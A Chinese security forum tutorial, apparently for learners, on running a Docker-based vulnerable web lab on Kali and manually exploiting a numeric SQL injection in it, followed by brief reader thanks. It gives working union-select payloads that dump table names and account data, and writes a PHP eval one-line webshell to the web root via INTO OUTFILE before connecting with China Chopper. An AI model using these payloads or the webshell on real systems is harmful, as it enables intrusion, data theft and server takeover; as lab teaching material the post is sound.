用户
搜索
  • TA的每日心情
    开心
    2019-7-7 14:34
  • 签到天数: 4 天

    连续签到: 1 天

    [LV.2]偶尔看看

    实习版主

    Rank: 7Rank: 7Rank: 7

    4

    主题

    13

    帖子

    2523

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2016-12-5
    发表于 2019-8-15 19:39:53 213752
    本帖最后由 赛佛爷 于 2019-8-15 19:42 编辑

    前言

    很多同学都有所发觉,我们在实际学习中,经常需要模拟不同的漏洞环境,如果使用外网服务器的话,多多少少又存在一些风险,因此能搭建一个本地的模拟环境去测试漏洞是一个不错的方案。

    Docker是近几年来十分流行的开源容器引擎,因此也出现了很多使用Docker容器搭建的靶机环境供新手学习和使用。

    0x01

    前一阵子呢,经常一起搞事的朋友发我一个网盘链接,分享的就是这一份靶机系统。

    好了,废话不多说了。。。

    首先,我决定在kali中搭建这个DCN靶机系统,进入kali、打开终端、一气呵成~~~

    在终端里输入:

    [Bash shell] 纯文本查看 复制代码
    apt-get install docker
    apt-get install docker.io

    PS:如果出现“找不到软件包”错误,请检查你的kali是不是更新过的……



    然后启动Docker服务:

    [Bash shell] 纯文本查看 复制代码
    service docker start



    查看Docker服务运行状态:

    [Bash shell] 纯文本查看 复制代码
    service docker status

    PS:一般此时的状态会很显眼的显示一个绿色的【active(running)】。



    然后就是把我们的docker镜像上传到kali里面了,上传工具我一会儿一块放在网盘链接里。

    下面导入镜像:

    [Bash shell] 纯文本查看 复制代码
    docker load < dcn_web_test.tar
    docker load < dcn_upload.tar

    这里导入的时候可能要花一段时间,可以上个厕所再回来……

    接着可以看一下我们的docker 镜像:

    [Bash shell] 纯文本查看 复制代码
    docker images


    这里我们会发现REPOSITORY 和 TAG下面都显示“<none>”,这里我们来修改一下对应值:

    [Bash shell] 纯文本查看 复制代码
    docker tag [你的IMAGE ID] dcn_web_test:V 1.0
    docker tag [你的IMAGE ID] dcn_upload:V 1.0

    完成这些之后,可以启动了!

    启动:

    [Bash shell] 纯文本查看 复制代码
    docker run -itd -p 8888:80 dcn_web_test:V 1.0

    容器运行之后,直接访问kali的IP地址,我的kali地址是192.168.10.100:

    [Bash shell] 纯文本查看 复制代码
    http://192.168.10.100:8888/

    完了之后可以看到我们的靶机分为七个模块,包含了常见的web漏洞。接下来我要展示的是第一项:SQLi数值型注入

    0x02  示例

    目标:获得所有的数据库信息和数据表信息,甚至提权、上传一句话木马等。

    1)尝试输入数字1submit提交,有结果输出:
    图片2.png


    2)输入数字2submit提交,有结果输出:
    图片3.png


    3)输入数字3submit提交:
    图片4.png
    SQL查询语法正确,但查询结果为空,无内容显示,由此可以判断,该数据表至少存在2行数据,且id为3时,查询结果为空。

    4)判断是否存在注入:
    输入:3 or 1=1submit
    图片5.png
    图片6.png

    显示了一行数据,说明存在注入漏洞。另外,通过前面的测试,得知数据表至少存在两行数据,此处注入成功后,查询结果集中,应该存在至少2行数据,但前端页面只显示了一行结果,由此猜测后端php程序对查询结果集的输出做了处理,即只输出查询结果集中的第一行数据发送到前端页面。

    5)继续使用order by猜测有多少列
    输入:3 or 1=1 order by 1 desc,表示对select查询结果集,按照第1列值降序排列,不加desc,默认按升序排列。
    图片7.png
    输入:3 or 1=1 order by 4 desc
    图片8.png
    有错误提示,第4列不存在。那么继续尝试按第3列排序,降序或升序都可以。
    图片9.png
    上图有结果显示,说明该数据表一共有3列,后端php程序对输出结果集做了处理,所以前端页面只显示两列数据。另外,需要注意的是,前端页面上显示的列标题,不一定就是数据表真正的列标题。

    6)尝试通过union猜测显示的列
    输入:1 union select 1,2,3submit提交
    图片10.png
    使用union关键字的目的,是为了输出想要的重要信息,但是由于php后端程序的处理,前端页面只显示结果集中的第一行,如果所给的id数字正确,那么union之后的select的结果集不会显示在前端页面,那么想要的重要信息也不会显示在前端页面。解决方法有两种:一种是union结合order by,如输入 1 union select 3,2,1 order by 1 desc,结果如图:
    图片11.png
    第二种是使用错误的id,如id为3,输入 3 union select 1,2,3,结果如下图:
    图片12.png
    两种方法都可以显示第二个select的输出结果,综合对比,第二种方法更加简洁一些,且显示输出的分别是第2列和第3列,那么接下来就尝试获取重要信息显示到第2列或第3列。

    7)通过union select获取当前数据库用户和版本号,显示在第2列
    输入:3 union select 1,user(),3submit提交
    图片13.png
    显示的用户是root,即当前php后台程序连接mysql的身份是root
    输入:3 union select 1,version(),3submit提交
    图片14.png
    上图显示了mysql数据库管理系统的版本号,大于5.0以上,可以直接使用information_schema去“爆库”。

    8)通过union select获取当前数据中所有的数据表,显示在第2列一个单元格中
    输入:3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()submit提交。

    group_concat()函数,将当前列的所有结果连接到一起,放到一个单元格中;
    information_schema,是系统数据库,类似于SQL Server中的Master数据库,如下图所示:
    图片15.png
    information_schema.tables,其中tables是information_schema数据库中的一个数据表,存储了mysql中所有的数据表名称,如下图:
    图片16.png
    table_schema,是tables表中的列名称;database()函数,表示当前数据库,如下图:
    图片17.png

    Submit提交的结果如下图:
    a1.png
    由图可知,当前数据库包含了两个数据表,分别是“account”和“news”。

    9)通过union select获取已知数据表的所有列名称,显示在第2列一个单元格中,例如输入:

    3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'
    3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'
    图片19.png
    图片20.png

    10)通过union select获取已知数据表的已知列的所有内容,显示在第2列和第3列的两个单元格中
    例如获取account表格的id列和rest列的所有内容,输入:
    3 union select 1,group_concat(id),group_concat(rest) from account
    图片21.png

    例如获取account表格的rest列和own列的所有内容,输入:
    3 union select 1,group_concat(rest),group_concat(own) from account
    图片22.png
    例如获取news表格的id列和title列的所有内容,输入:
    3 union select 1,group_concat(id),group_concat(title) from news
    图片23.png
    例如获取news表格的title列和content列的所有内容,输入:
    3 union select 1,group_concat(title),group_concat(content) from news
    图片24.png

    11)尝试通过union select写入一句话木马到站点目录
    输入:3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/ttt1.php'
    错误提示如下:
    图片25.png
    这种错误,一般是由于当前mysql服务的linux用户不具备对该目录的写入权限导致。

    如何查看当前mysql服务进程所属用户?

    假设可以登录linux控制台,进入docker容器的系统环境:
    图片26.png
    输入  ps -aux ,截图如下:
    图片27.png
    从图中可以看出,mysql服务进程为mysqld,其用户为mysql。

    查看站点目录的权限:
    站点目录默认一般为 /var/www/html ,查看html目录的权限如下:
    cd /var/www
    ls -l -d html ,截图如下:
    图片28.png
    html目录为一个链接,真实的站点目录为 /app ,继续查看app目录的权限:
    图片29.png
    由上图可以看出,/app目录所属的用户和组为www-data,且只有www-data用户具备rwx权限,可以写入文件,而mysql服务进程的用户为mysql,通过select的方式向 /app 目录写入文件失败,没有权限。

    假设存在一个站点子目录,任何用户都具备写入权限,那么情况会怎样呢?
    图片30.png
    上图,在站点根目录下创建了一个子目录为 test-sql,且修改权限为“777”,既任意用户都具备对该目录的写入权限。

    接下来继续测试通过select方式写入一句话木马文件:
    输入:3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/test-sql/ttt1.php'
    submit提交,截图如下:
    图片31.png
    注意,一句话木马的内容为:<?php eval($_POST[dcn]);?>
    linux控制台中可以看到成功写入的一句话木马php文件:
    图片32.png


    12)通过“中国菜刀”连接写入的一句话木马文件
    图片33.png

    图片34.png

    图片35.png

    图片36.png

    注意事项:
    如果没有提供输入框和submit,那么如何实现注入?
    如果是get方式提交请求,那么可以直接在URL中实现注入,如:
    直接修改“?”号后面的内容即可,空格符在URL中用“+”号表示,逗号在URL中用“%2C”表示,左括号“(”在URL中用“%28”表示,右括号“)”在URL中用“%29”表示。





    OK啦~ 一次SQL手工注入并连接shell完成^_^



    有需要靶机镜像的可以搭起来玩玩~~
    游客,如果您要查看本帖隐藏内容请回复



    图片2.png
    1111111111111111111111111111
    使用道具 举报 回复
    我尼玛还以为是神州数码的靶机。。。
    使用道具 举报 回复
    好好好,下载靶机镜像练习一下
    使用道具 举报 回复
    网盘地址在哪里啊啊啊
    使用道具 举报 回复
    看看,最近在研究docker
    使用道具 举报 回复
    感谢LZ分享,学习了
    使用道具 举报 回复
    感谢楼主的教程。。。。
    使用道具 举报 回复
    感谢楼主的教程
    使用道具 举报 回复
    我觉得 这非常ok
    使用道具 举报 回复
    发表于 2019-8-16 11:20:17
    谢谢分享,还不错
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    感谢楼主分享
    该会员没有填写今日想说内容.
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2019-8-17 15:02:38
    过来学习学习
    使用道具 举报 回复
    发表于 2019-8-17 17:00:37
    感谢LZ分享
    使用道具 举报 回复
    发表于 2019-8-18 18:17:42

    感谢LZ分享
    使用道具 举报 回复
    玩儿玩儿
    使用道具 举报 回复
    感谢大佬
    使用道具 举报 回复
    感谢大佬
    使用道具 举报 回复
    发表于 2019-8-21 01:34:57
    ,学习一下
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册